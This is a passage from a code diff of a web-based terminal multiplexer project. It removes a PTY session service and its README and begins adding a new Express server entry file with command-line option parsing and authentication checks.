fs.appendFileSync(session.stdin, dataToSend);
|
||||
} else {
|
||||
throw new PtyError(
|
||||
`Session stdin pipe not found: ${session.stdin}`,
|
||||
'STDIN_NOT_FOUND',
|
||||
sessionId
|
||||
);
|
||||
}
|
||||
} catch (error) {
|
||||
throw new PtyError(
|
||||
`Failed to send input to session ${sessionId}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
'SEND_INPUT_FAILED',
|
||||
sessionId
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resize a session
|
||||
*/
|
||||
resizeSession(sessionId: string, cols: number, rows: number): void {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.resizeSession(sessionId, cols, rows);
|
||||
} else {
|
||||
// tty-fwd doesn't have explicit resize command, PTY should handle SIGWINCH automatically
|
||||
console.warn('Resize not supported with tty-fwd implementation');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Kill a session
|
||||
* Returns a promise that resolves when the process is actually terminated
|
||||
*/
|
||||
async killSession(sessionId: string, signal: string | number = 'SIGTERM'): Promise<void> {
|
||||
if (this.ptyManager) {
|
||||
return await this.ptyManager.killSession(sessionId, signal);
|
||||
} else {
|
||||
return this.killSessionTtyFwd(sessionId, signal);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Kill session using tty-fwd binary with proper escalation
|
||||
*/
|
||||
private async killSessionTtyFwd(sessionId: string, signal: string | number): Promise<void> {
|
||||
const ttyFwdPath = this.findTtyFwdBinary();
|
||||
|
||||
// If signal is already SIGKILL, send it immediately
|
||||
if (signal === 'SIGKILL' || signal === 9) {
|
||||
const args = ['--control-path', this.config.controlPath, '--session', sessionId, '--kill'];
|
||||
const result = spawnSync(ttyFwdPath, args, {
|
||||
stdio: 'pipe',
|
||||
timeout: 5000,
|
||||
});
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new PtyError(`tty-fwd kill failed with code ${result.status}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Get session info to find PID for monitoring
|
||||
const session = this.getSession(sessionId);
|
||||
if (!session || !session.pid) {
|
||||
throw new PtyError(
|
||||
`Session ${sessionId} not found or has no PID`,
|
||||
'SESSION_NOT_FOUND',
|
||||
sessionId
|
||||
);
|
||||
}
|
||||
|
||||
const pid = session.pid;
|
||||
console.log(`Terminating session ${sessionId} (PID: ${pid}) with tty-fwd SIGTERM...`);
|
||||
|
||||
try {
|
||||
// Send SIGTERM first via tty-fwd
|
||||
const args = ['--control-path', this.config.controlPath, '--session', sessionId, '--stop'];
|
||||
const result = spawnSync(ttyFwdPath, args, {
|
||||
stdio: 'pipe',
|
||||
timeout: 5000,
|
||||
});
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new PtyError(`tty-fwd stop failed with code ${result.status}`);
|
||||
}
|
||||
|
||||
// Wait up to 3 seconds for graceful termination (check every 500ms)
|
||||
const maxWaitTime = 3000;
|
||||
const checkInterval = 500;
|
||||
const maxChecks = maxWaitTime / checkInterval;
|
||||
|
||||
for (let i = 0; i < maxChecks; i++) {
|
||||
// Wait for check interval
|
||||
await new Promise((resolve) => setTimeout(resolve, checkInterval));
|
||||
|
||||
// Check if process is still alive
|
||||
if (!ProcessUtils.isProcessRunning(pid)) {
|
||||
// Process no longer exists - it terminated gracefully
|
||||
console.log(
|
||||
`Session ${sessionId} terminated gracefully after ${(i + 1) * checkInterval}ms`
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process still exists, continue waiting
|
||||
console.log(`Session ${sessionId} still alive after ${(i + 1) * checkInterval}ms...`);
|
||||
}
|
||||
|
||||
// Process didn't terminate gracefully within 3 seconds, force kill
|
||||
console.log(
|
||||
`Session ${sessionId} didn't terminate gracefully, sending SIGKILL via tty-fwd...`
|
||||
);
|
||||
const killArgs = [
|
||||
'--control-path',
|
||||
this.config.controlPath,
|
||||
'--session',
|
||||
sessionId,
|
||||
'--kill',
|
||||
];
|
||||
const killResult = spawnSync(ttyFwdPath, killArgs, {
|
||||
stdio: 'pipe',
|
||||
timeout: 5000,
|
||||
});
|
||||
|
||||
if (killResult.status !== 0) {
|
||||
console.warn(
|
||||
`tty-fwd SIGKILL failed with code ${killResult.status}, process may already be dead`
|
||||
);
|
||||
}
|
||||
|
||||
// Wait a bit more for SIGKILL to take effect
|
||||
await new Promise((resolve) => setTimeout(resolve, 100));
|
||||
console.log(`Session ${sessionId} forcefully terminated with SIGKILL`);
|
||||
} catch (error) {
|
||||
throw new PtyError(
|
||||
`Failed to kill session via tty-fwd: ${error instanceof Error ? error.message : String(error)}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* List all sessions
|
||||
*/
|
||||
listSessions(): SessionEntryWithId[] {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.listSessions();
|
||||
} else {
|
||||
return this.listSessionsTtyFwd();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* List sessions using tty-fwd binary
|
||||
*/
|
||||
private listSessionsTtyFwd(): SessionEntryWithId[] {
|
||||
try {
|
||||
const ttyFwdPath = this.findTtyFwdBinary();
|
||||
const args = ['--control-path', this.config.controlPath, '--list-sessions'];
|
||||
|
||||
const result = spawnSync(ttyFwdPath, args, {
|
||||
stdio: 'pipe',
|
||||
});
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new PtyError(`tty-fwd list sessions failed with code ${result.status}`);
|
||||
}
|
||||
|
||||
const output = result.stdout?.toString() || '[]';
|
||||
return JSON.parse(output) as SessionEntryWithId[];
|
||||
} catch (error) {
|
||||
// In test/development environments, if tty-fwd is not available, return empty list
|
||||
if (process.env.NODE_ENV === 'test' || process.env.VITEST) {
|
||||
console.warn('tty-fwd not available in test environment, returning empty session list');
|
||||
return [];
|
||||
}
|
||||
throw new PtyError(
|
||||
`Failed to list sessions via tty-fwd: ${error instanceof Error ? error.message : String(error)}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a specific session
|
||||
*/
|
||||
getSession(sessionId: string): SessionEntryWithId | null {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.getSession(sessionId);
|
||||
} else {
|
||||
const sessions = this.listSessionsTtyFwd();
|
||||
return sessions.find((s) => s.session_id === sessionId) || null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Cleanup a specific session
|
||||
*/
|
||||
cleanupSession(sessionId: string): void {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.cleanupSession(sessionId);
|
||||
} else {
|
||||
return this.cleanupSessionTtyFwd(sessionId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Cleanup session using tty-fwd binary
|
||||
*/
|
||||
private cleanupSessionTtyFwd(sessionId: string): void {
|
||||
try {
|
||||
const ttyFwdPath = this.findTtyFwdBinary();
|
||||
const args = ['--control-path', this.config.controlPath, '--session', sessionId, '--cleanup'];
|
||||
|
||||
const result = spawnSync(ttyFwdPath, args, {
|
||||
stdio: 'pipe',
|
||||
timeout: 5000,
|
||||
});
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new PtyError(`tty-fwd cleanup failed with code ${result.status}`);
|
||||
}
|
||||
} catch (error) {
|
||||
// If tty-fwd cleanup fails, try manual cleanup
|
||||
console.warn(
|
||||
`tty-fwd cleanup failed for session ${sessionId}, attempting manual cleanup:`,
|
||||
error
|
||||
);
|
||||
|
||||
try {
|
||||
const sessionDir = path.join(this.config.controlPath, sessionId);
|
||||
if (fs.existsSync(sessionDir)) {
|
||||
fs.rmSync(sessionDir, { recursive: true, force: true });
|
||||
}
|
||||
} catch (manualError) {
|
||||
throw new PtyError(
|
||||
`Both tty-fwd and manual cleanup failed for session ${sessionId}: ${manualError}`
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Cleanup all exited sessions
|
||||
*/
|
||||
cleanupExitedSessions(): string[] {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.cleanupExitedSessions();
|
||||
} else {
|
||||
return this.cleanupExitedSessionsTtyFwd();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Cleanup exited sessions using tty-fwd binary
|
||||
*/
|
||||
private cleanupExitedSessionsTtyFwd(): string[] {
|
||||
try {
|
||||
const sessions = this.listSessionsTtyFwd();
|
||||
const exitedSessions = sessions.filter((s) => s.status === 'exited');
|
||||
|
||||
const cleanedSessions: string[] = [];
|
||||
|
||||
for (const session of exitedSessions) {
|
||||
try {
|
||||
this.cleanupSessionTtyFwd(session.session_id);
|
||||
cleanedSessions.push(session.session_id);
|
||||
} catch (error) {
|
||||
console.warn(`Failed to cleanup exited session ${session.session_id}:`, error);
|
||||
}
|
||||
}
|
||||
|
||||
return cleanedSessions;
|
||||
} catch (error) {
|
||||
throw new PtyError(
|
||||
`Failed to cleanup exited sessions via tty-fwd: ${error instanceof Error ? error.message : String(error)}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Find tty-fwd binary path
|
||||
*/
|
||||
private findTtyFwdBinary(): string {
|
||||
if (this.config.ttyFwdPath && fs.existsSync(this.config.ttyFwdPath)) {
|
||||
return this.config.ttyFwdPath;
|
||||
}
|
||||
|
||||
// Common paths to check
|
||||
const possiblePaths = [
|
||||
// Relative to project
|
||||
path.join(process.cwd(), '../tty-fwd/target/release/tty-fwd'),
|
||||
path.join(process.cwd(), '../tty-fwd/target/debug/tty-fwd'),
|
||||
// System PATH
|
||||
'tty-fwd',
|
||||
];
|
||||
|
||||
for (const binPath of possiblePaths) {
|
||||
if (binPath === 'tty-fwd') {
|
||||
// Check if in PATH
|
||||
try {
|
||||
const result = spawnSync('which', ['tty-fwd'], { stdio: 'pipe' });
|
||||
if (result.status === 0) {
|
||||
return 'tty-fwd';
|
||||
}
|
||||
} catch (_error) {
|
||||
// Continue checking other paths
|
||||
}
|
||||
} else if (fs.existsSync(binPath)) {
|
||||
return binPath;
|
||||
}
|
||||
}
|
||||
|
||||
throw new PtyError('tty-fwd binary not found');
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if using native node-pty implementation
|
||||
*/
|
||||
isUsingNodePty(): boolean {
|
||||
return this.ptyManager !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if using tty-fwd implementation
|
||||
*/
|
||||
isUsingTtyFwd(): boolean {
|
||||
return this.ptyManager === null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get current implementation name
|
||||
*/
|
||||
getCurrentImplementation(): string {
|
||||
return this.isUsingNodePty() ? 'node-pty' : 'tty-fwd';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get configuration
|
||||
*/
|
||||
getConfig(): PtyConfig {
|
||||
return { ...this.config };
|
||||
}
|
||||
|
||||
/**
|
||||
* Get control path
|
||||
*/
|
||||
getControlPath(): string {
|
||||
return this.config.controlPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get active session count (only for node-pty)
|
||||
*/
|
||||
getActiveSessionCount(): number {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.getActiveSessionCount();
|
||||
}
|
||||
// For tty-fwd, count running sessions
|
||||
try {
|
||||
const sessions = this.listSessions();
|
||||
return sessions.filter((s) => s.status === 'running').length;
|
||||
} catch (_error) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -1,420 +0,0 @@
|
|||
# PTY Module
|
||||
|
||||
A Node.js/TypeScript implementation for managing PTY (pseudo-terminal) sessions with automatic fallback to tty-fwd.
|
||||
|
||||
## Features
|
||||
|
||||
- **Native Node.js Implementation**: Uses `node-pty` for high-performance terminal management
|
||||
- **Automatic Fallback**: Falls back to `tty-fwd` binary if node-pty is unavailable
|
||||
- **Asciinema Recording**: Records terminal sessions in standard asciinema format
|
||||
- **Session Persistence**: Sessions persist across restarts with metadata
|
||||
- **Full Compatibility**: Drop-in replacement for existing tty-fwd integration
|
||||
- **TypeScript Support**: Fully typed interfaces and error handling
|
||||
|
||||
## Quick Start
|
||||
|
||||
```typescript
|
||||
import { PtyService } from './pty/index.js';
|
||||
|
||||
// Create service with auto-detection
|
||||
const ptyService = new PtyService({
|
||||
implementation: 'auto',
|
||||
fallbackToTtyFwd: true,
|
||||
});
|
||||
|
||||
// Create a session
|
||||
const result = await ptyService.createSession(['bash'], {
|
||||
sessionName: 'my-session',
|
||||
workingDir: '/home/user',
|
||||
cols: 80,
|
||||
rows: 24,
|
||||
});
|
||||
|
||||
console.log(`Created session: ${result.sessionId}`);
|
||||
|
||||
// Send input to session
|
||||
ptyService.sendInput(result.sessionId, { text: 'echo hello\n' });
|
||||
|
||||
// List all sessions
|
||||
const sessions = ptyService.listSessions();
|
||||
|
||||
// Cleanup session
|
||||
ptyService.cleanupSession(result.sessionId);
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
Configure the service via constructor options or environment variables:
|
||||
|
||||
```typescript
|
||||
const ptyService = new PtyService({
|
||||
implementation: 'node-pty', // 'node-pty' | 'tty-fwd' | 'auto'
|
||||
controlPath: '/custom/path', // Session storage directory
|
||||
fallbackToTtyFwd: true, // Enable fallback to tty-fwd
|
||||
ttyFwdPath: '/path/to/tty-fwd', // Custom tty-fwd binary path
|
||||
});
|
||||
```
|
||||
|
||||
### Environment Variables
|
||||
|
||||
- `PTY_IMPLEMENTATION`: Implementation to use ('node-pty', 'tty-fwd', 'auto')
|
||||
- `TTY_FWD_CONTROL_DIR`: Control directory path (default: ~/.vibetunnel/control)
|
||||
- `PTY_FALLBACK_TTY_FWD`: Enable fallback ('true' or 'false')
|
||||
- `TTY_FWD_PATH`: Path to tty-fwd binary
|
||||
|
||||
## API Reference
|
||||
|
||||
### PtyService
|
||||
|
||||
Main service class providing unified PTY management.
|
||||
|
||||
#### Methods
|
||||
|
||||
##### `createSession(command: string[], options?: SessionOptions): Promise<SessionCreationResult>`
|
||||
|
||||
Creates a new PTY session.
|
||||
|
||||
**Parameters:**
|
||||
|
||||
- `command`: Array of command and arguments to execute
|
||||
- `options`: Optional session configuration
|
||||
|
||||
**Returns:** Promise resolving to session ID and info
|
||||
|
||||
**Example:**
|
||||
|
||||
```typescript
|
||||
const result = await ptyService.createSession(['vim', 'file.txt'], {
|
||||
sessionName: 'vim-session',
|
||||
workingDir: '/home/user/projects',
|
||||
term: 'xterm-256color',
|
||||
cols: 120,
|
||||
rows: 30,
|
||||
});
|
||||
```
|
||||
|
||||
##### `sendInput(sessionId: string, input: SessionInput): void`
|
||||
|
||||
Sends input to a session.
|
||||
|
||||
**Parameters:**
|
||||
|
||||
- `sessionId`: Target session ID
|
||||
- `input`: Text or special key input
|
||||
|
||||
**Example:**
|
||||
|
||||
```typescript
|
||||
// Send text
|
||||
ptyService.sendInput(sessionId, { text: 'hello world\n' });
|
||||
|
||||
// Send special key
|
||||
ptyService.sendInput(sessionId, { key: 'arrow_up' });
|
||||
```
|
||||
|
||||
**Supported special keys:**
|
||||
|
||||
- `arrow_up`, `arrow_down`, `arrow_left`, `arrow_right`
|
||||
- `escape`, `enter`, `ctrl_enter`, `shift_enter`
|
||||
|
||||
##### `listSessions(): SessionEntryWithId[]`
|
||||
|
||||
Lists all sessions with metadata.
|
||||
|
||||
##### `getSession(sessionId: string): SessionEntryWithId | null`
|
||||
|
||||
Gets specific session by ID.
|
||||
|
||||
##### `killSession(sessionId: string, signal?: string | number): Promise<void>`
|
||||
|
||||
Terminates a session and waits for the process to actually be killed.
|
||||
|
||||
**Parameters:**
|
||||
|
||||
- `sessionId`: Session to terminate
|
||||
- `signal`: Signal to send (default: 'SIGTERM')
|
||||
|
||||
**Returns:** Promise that resolves when the process is actually terminated
|
||||
|
||||
**Process:**
|
||||
|
||||
1. Sends SIGTERM initially
|
||||
2. Waits up to 3 seconds (checking every 500ms)
|
||||
3. Sends SIGKILL if process doesn't terminate gracefully
|
||||
4. Resolves when process is confirmed dead
|
||||
|
||||
##### `cleanupSession(sessionId: string): void`
|
||||
|
||||
Removes session and cleans up files.
|
||||
|
||||
##### `cleanupExitedSessions(): string[]`
|
||||
|
||||
Removes all exited sessions and returns cleaned session IDs.
|
||||
|
||||
##### `resizeSession(sessionId: string, cols: number, rows: number): void`
|
||||
|
||||
Resizes session terminal (node-pty only).
|
||||
|
||||
#### Status Methods
|
||||
|
||||
##### `getCurrentImplementation(): string`
|
||||
|
||||
Returns current implementation ('node-pty' or 'tty-fwd').
|
||||
|
||||
##### `isUsingNodePty(): boolean`
|
||||
|
||||
Returns true if using node-pty implementation.
|
||||
|
||||
##### `isUsingTtyFwd(): boolean`
|
||||
|
||||
Returns true if using tty-fwd implementation.
|
||||
|
||||
##### `getActiveSessionCount(): number`
|
||||
|
||||
Returns number of active sessions.
|
||||
|
||||
##### `getControlPath(): string`
|
||||
|
||||
Returns session storage directory path.
|
||||
|
||||
##### `getConfig(): PtyConfig`
|
||||
|
||||
Returns current configuration.
|
||||
|
||||
## Session File Structure
|
||||
|
||||
Sessions are stored in a directory structure compatible with tty-fwd:
|
||||
|
||||
```
|
||||
~/.vibetunnel/control/
|
||||
├── session-uuid-1/
|
||||
│ ├── session.json # Session metadata
|
||||
│ ├── stream-out # Asciinema recording
|
||||
│ ├── stdin # Input pipe/file
|
||||
│ └── notification-stream # Event notifications
|
||||
└── session-uuid-2/
|
||||
└── ...
|
||||
```
|
||||
|
||||
### session.json Format
|
||||
|
||||
```json
|
||||
{
|
||||
"cmdline": ["bash", "-l"],
|
||||
"name": "my-session",
|
||||
"cwd": "/home/user",
|
||||
"pid": 1234,
|
||||
"status": "running",
|
||||
"exit_code": null,
|
||||
"started_at": "2023-12-01T10:00:00.000Z",
|
||||
"term": "xterm-256color",
|
||||
"spawn_type": "pty"
|
||||
}
|
||||
```
|
||||
|
||||
### Asciinema Format
|
||||
|
||||
The `stream-out` file follows the [asciinema file format](https://github.com/asciinema/asciinema/blob/develop/doc/asciicast-v2.md):
|
||||
|
||||
```
|
||||
{"version": 2, "width": 80, "height": 24, "timestamp": 1609459200, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}}
|
||||
[0.248848, "o", "\u001b]0;user@host: ~\u0007\u001b[01;32muser@host\u001b[00m:\u001b[01;34m~\u001b[00m$ "]
|
||||
[1.001376, "o", "h"]
|
||||
[1.064593, "o", "e"]
|
||||
```
|
||||
|
||||
## Integration with Existing Server
|
||||
|
||||
### Drop-in Replacement
|
||||
|
||||
Replace existing tty-fwd calls with the PTY service:
|
||||
|
||||
```typescript
|
||||
// Before (tty-fwd)
|
||||
const proc = spawn(ttyFwdPath, ['--control-path', controlPath, '--', ...command]);
|
||||
|
||||
// After (PTY service)
|
||||
const result = await ptyService.createSession(command, options);
|
||||
```
|
||||
|
||||
### Express.js Route Integration
|
||||
|
||||
```typescript
|
||||
import { PtyService } from './pty/index.js';
|
||||
|
||||
const ptyService = new PtyService();
|
||||
|
||||
// POST /api/sessions
|
||||
app.post('/api/sessions', async (req, res) => {
|
||||
try {
|
||||
const { command, workingDir } = req.body;
|
||||
const result = await ptyService.createSession(command, { workingDir });
|
||||
res.json({ sessionId: result.sessionId });
|
||||
} catch (error) {
|
||||
res.status(500).json({ error: error.message });
|
||||
}
|
||||
});
|
||||
|
||||
// GET /api/sessions
|
||||
app.get('/api/sessions', (req, res) => {
|
||||
const sessions = ptyService.listSessions();
|
||||
res.json(sessions);
|
||||
});
|
||||
|
||||
// POST /api/sessions/:id/input
|
||||
app.post('/api/sessions/:id/input', (req, res) => {
|
||||
const { text, key } = req.body;
|
||||
ptyService.sendInput(req.params.id, { text, key });
|
||||
res.json({ success: true });
|
||||
});
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
All methods throw `PtyError` instances with structured error information:
|
||||
|
||||
```typescript
|
||||
try {
|
||||
await ptyService.createSession(['invalid-command']);
|
||||
} catch (error) {
|
||||
if (error instanceof PtyError) {
|
||||
console.error(`PTY Error [${error.code}]: ${error.message}`);
|
||||
if (error.sessionId) {
|
||||
console.error(`Session ID: ${error.sessionId}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Testing
|
||||
|
||||
Run the test suite:
|
||||
|
||||
```bash
|
||||
npm test src/pty/__tests__/
|
||||
```
|
||||
|
||||
The tests automatically detect the available implementation and test accordingly.
|
||||
|
||||
## Performance Considerations
|
||||
|
||||
### Node.js Implementation
|
||||
|
||||
- **Memory Usage**: ~10-20MB per active session
|
||||
- **CPU Overhead**: Minimal, event-driven
|
||||
- **Latency**: < 5ms for input/output operations
|
||||
- **Concurrency**: Supports 50+ concurrent sessions
|
||||
|
||||
### tty-fwd Fallback
|
||||
|
||||
- **Subprocess Overhead**: ~2-5ms per operation
|
||||
- **Memory Usage**: Minimal for service, ~5-10MB per session
|
||||
- **Compatibility**: Works on all platforms where tty-fwd runs
|
||||
|
||||
## Migration Guide
|
||||
|
||||
### From Direct tty-fwd Usage
|
||||
|
||||
1. **Replace Binary Calls**:
|
||||
|
||||
```typescript
|
||||
// Old
|
||||
spawn('tty-fwd', ['--control-path', path, '--list-sessions']);
|
||||
|
||||
// New
|
||||
ptyService.listSessions();
|
||||
```
|
||||
|
||||
2. **Update Session Creation**:
|
||||
|
||||
```typescript
|
||||
// Old
|
||||
spawn('tty-fwd', ['--control-path', path, '--', ...command]);
|
||||
|
||||
// New
|
||||
await ptyService.createSession(command);
|
||||
```
|
||||
|
||||
3. **Modernize Input Handling**:
|
||||
|
||||
```typescript
|
||||
// Old
|
||||
spawn('tty-fwd', ['--session', id, '--send-text', text]);
|
||||
|
||||
// New
|
||||
ptyService.sendInput(id, { text });
|
||||
```
|
||||
|
||||
### Environment Variables
|
||||
|
||||
Set environment variables to control behavior:
|
||||
|
||||
```bash
|
||||
# Force node-pty usage
|
||||
export PTY_IMPLEMENTATION=node-pty
|
||||
|
||||
# Force tty-fwd usage
|
||||
export PTY_IMPLEMENTATION=tty-fwd
|
||||
|
||||
# Auto-detect (default)
|
||||
export PTY_IMPLEMENTATION=auto
|
||||
|
||||
# Disable fallback
|
||||
export PTY_FALLBACK_TTY_FWD=false
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Common Issues
|
||||
|
||||
**"node-pty not available"**
|
||||
|
||||
- Install dependencies: `npm install node-pty`
|
||||
- Check platform compatibility
|
||||
- Enable fallback: `PTY_FALLBACK_TTY_FWD=true`
|
||||
|
||||
**"tty-fwd binary not found"**
|
||||
|
||||
- Set path: `TTY_FWD_PATH=/path/to/tty-fwd`
|
||||
- Ensure binary is in PATH
|
||||
- Check file permissions
|
||||
|
||||
**Permission errors**
|
||||
|
||||
- Verify control directory permissions
|
||||
- Check PTY device access
|
||||
- Run with appropriate user privileges
|
||||
|
||||
**Session not found**
|
||||
|
||||
- Check session ID validity
|
||||
- Verify control directory path
|
||||
- Ensure session hasn't been cleaned up
|
||||
|
||||
### Debug Logging
|
||||
|
||||
Enable debug logging to troubleshoot issues:
|
||||
|
||||
```typescript
|
||||
// Log current implementation
|
||||
console.log('Using:', ptyService.getCurrentImplementation());
|
||||
|
||||
// Log configuration
|
||||
console.log('Config:', ptyService.getConfig());
|
||||
|
||||
// Log active sessions
|
||||
console.log('Active sessions:', ptyService.getActiveSessionCount());
|
||||
```
|
||||
|
||||
## Contributing
|
||||
|
||||
When adding features or fixing bugs:
|
||||
|
||||
1. **Add Tests**: Ensure new functionality is tested
|
||||
2. **Update Types**: Keep TypeScript interfaces current
|
||||
3. **Maintain Compatibility**: Preserve tty-fwd compatibility
|
||||
4. **Document Changes**: Update this README and code comments
|
||||
|
||||
## License
|
||||
|
||||
Licensed under the same license as the parent project.
|
||||
1487
web/src/server.ts
1487
web/src/server.ts
File diff suppressed because it is too large
Load diff
432
web/src/server/app.ts
Normal file
432
web/src/server/app.ts
Normal file
|
|
@ -0,0 +1,432 @@
|
|||
import express from 'express';
|
||||
import { createServer } from 'http';
|
||||
import { WebSocketServer } from 'ws';
|
||||
import * as path from 'path';
|
||||
import * as fs from 'fs';
|
||||
import * as os from 'os';
|
||||
import chalk from 'chalk';
|
||||
import { PtyManager } from './pty/index.js';
|
||||
import { TerminalManager } from './services/terminal-manager.js';
|
||||
import { StreamWatcher } from './services/stream-watcher.js';
|
||||
import { RemoteRegistry } from './services/remote-registry.js';
|
||||
import { HQClient } from './services/hq-client.js';
|
||||
import { createAuthMiddleware } from './middleware/auth.js';
|
||||
import { createSessionRoutes } from './routes/sessions.js';
|
||||
import { createRemoteRoutes } from './routes/remotes.js';
|
||||
import { ControlDirWatcher } from './services/control-dir-watcher.js';
|
||||
import { BufferAggregator } from './services/buffer-aggregator.js';
|
||||
import { v4 as uuidv4 } from 'uuid';
|
||||
|
||||
interface Config {
|
||||
port: number | null;
|
||||
basicAuthUsername: string | null;
|
||||
basicAuthPassword: string | null;
|
||||
isHQMode: boolean;
|
||||
hqUrl: string | null;
|
||||
hqUsername: string | null;
|
||||
hqPassword: string | null;
|
||||
remoteName: string | null;
|
||||
allowInsecureHQ: boolean;
|
||||
showHelp: boolean;
|
||||
}
|
||||
|
||||
// Show help message
|
||||
function showHelp() {
|
||||
console.log(`
|
||||
VibeTunnel Server - Terminal Multiplexer
|
||||
|
||||
Usage: vibetunnel-server [options]
|
||||
|
||||
Options:
|
||||
--help Show this help message
|
||||
--port <number> Server port (default: 4020 or PORT env var)
|
||||
--username <string> Basic auth username (or VIBETUNNEL_USERNAME env var)
|
||||
--password <string> Basic auth password (or VIBETUNNEL_PASSWORD env var)
|
||||
|
||||
HQ Mode Options:
|
||||
--hq Run as HQ (headquarters) server
|
||||
|
||||
Remote Server Options:
|
||||
--hq-url <url> HQ server URL to register with
|
||||
--hq-username <user> Username for HQ authentication
|
||||
--hq-password <pass> Password for HQ authentication
|
||||
--name <name> Unique name for this remote server
|
||||
--allow-insecure-hq Allow HTTP URLs for HQ (default: HTTPS only)
|
||||
|
||||
Environment Variables:
|
||||
PORT Default port if --port not specified
|
||||
VIBETUNNEL_USERNAME Default username if --username not specified
|
||||
VIBETUNNEL_PASSWORD Default password if --password not specified
|
||||
VIBETUNNEL_CONTROL_DIR Control directory for session data
|
||||
|
||||
Examples:
|
||||
# Run a simple server with authentication
|
||||
vibetunnel-server --username admin --password secret
|
||||
|
||||
# Run as HQ server
|
||||
vibetunnel-server --hq --username hq-admin --password hq-secret
|
||||
|
||||
# Run as remote server registering with HQ
|
||||
vibetunnel-server --username local --password local123 \\
|
||||
--hq-url https://hq.example.com \\
|
||||
--hq-username hq-admin --hq-password hq-secret \\
|
||||
--name remote-1
|
||||
`);
|
||||
}
|
||||
|
||||
// Parse command line arguments
|
||||
function parseArgs(): Config {
|
||||
const args = process.argv.slice(2);
|
||||
const config = {
|
||||
port: null as number | null,
|
||||
basicAuthUsername: null as string | null,
|
||||
basicAuthPassword: null as string | null,
|
||||
isHQMode: false,
|
||||
hqUrl: null as string | null,
|
||||
hqUsername: null as string | null,
|
||||
hqPassword: null as string | null,
|
||||
remoteName: null as string | null,
|
||||
allowInsecureHQ: false,
|
||||
showHelp: false,
|
||||
};
|
||||
|
||||
// Check for help flag first
|
||||
if (args.includes('--help') || args.includes('-h')) {
|
||||
config.showHelp = true;
|
||||
return config;
|
||||
}
|
||||
|
||||
// Check for command line arguments
|
||||
for (let i = 0; i < args.length; i++) {
|
||||
if (args[i] === '--port' && i + 1 < args.length) {
|
||||
config.port = parseInt(args[i + 1], 10);
|
||||
i++; // Skip the port value in next iteration
|
||||
} else if (args[i] === '--username' && i + 1 < args.length) {
|
||||
config.basicAuthUsername = args[i + 1];
|
||||
i++; // Skip the username value in next iteration
|
||||
} else if (args[i] === '--password' && i + 1 < args.length) {
|
||||
config.basicAuthPassword = args[i + 1];
|
||||
i++; // Skip the password value in next iteration
|
||||
} else if (args[i] === '--hq') {
|
||||
config.isHQMode = true;
|
||||
} else if (args[i] === '--hq-url' && i + 1 < args.length) {
|
||||
config.hqUrl = args[i + 1];
|
||||
i++; // Skip the URL value in next iteration
|
||||
} else if (args[i] === '--hq-username' && i + 1 < args.length) {
|
||||
config.hqUsername = args[i + 1];
|
||||
i++; // Skip the username value in next iteration
|
||||
} else if (args[i] === '--hq-password' && i + 1 < args.length) {
|
||||
config.hqPassword = args[i + 1];
|
||||
i++; // Skip the password value in next iteration
|
||||
} else if (args[i] === '--name' && i + 1 < args.length) {
|
||||
config.remoteName = args[i + 1];
|
||||
i++; // Skip the name value in next iteration
|
||||
} else if (args[i] === '--allow-insecure-hq') {
|
||||
config.allowInsecureHQ = true;
|
||||
} else if (args[i].startsWith('--')) {
|
||||
// Unknown argument
|
||||
console.error(chalk.red(`ERROR: Unknown argument: ${args[i]}`));
|
||||
console.error('Use --help to see available options');
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
// Check environment variables for local auth
|
||||
if (!config.basicAuthUsername && process.env.VIBETUNNEL_USERNAME) {
|
||||
config.basicAuthUsername = process.env.VIBETUNNEL_USERNAME;
|
||||
}
|
||||
if (!config.basicAuthPassword && process.env.VIBETUNNEL_PASSWORD) {
|
||||
config.basicAuthPassword = process.env.VIBETUNNEL_PASSWORD;
|
||||
}
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
// Validate configuration
|
||||
function validateConfig(config: ReturnType<typeof parseArgs>) {
|
||||
// Validate local auth configuration
|
||||
if (
|
||||
(config.basicAuthUsername && !config.basicAuthPassword) ||
|
||||
(!config.basicAuthUsername && config.basicAuthPassword)
|
||||
) {
|
||||
console.error(
|
||||
chalk.red('ERROR: Both username and password must be provided for authentication')
|
||||
);
|
||||
console.error(
|
||||
'Use --username and --password, or set both VIBETUNNEL_USERNAME and VIBETUNNEL_PASSWORD'
|
||||
);
|
||||
process.exit(1);
|
||||
}
|
||||
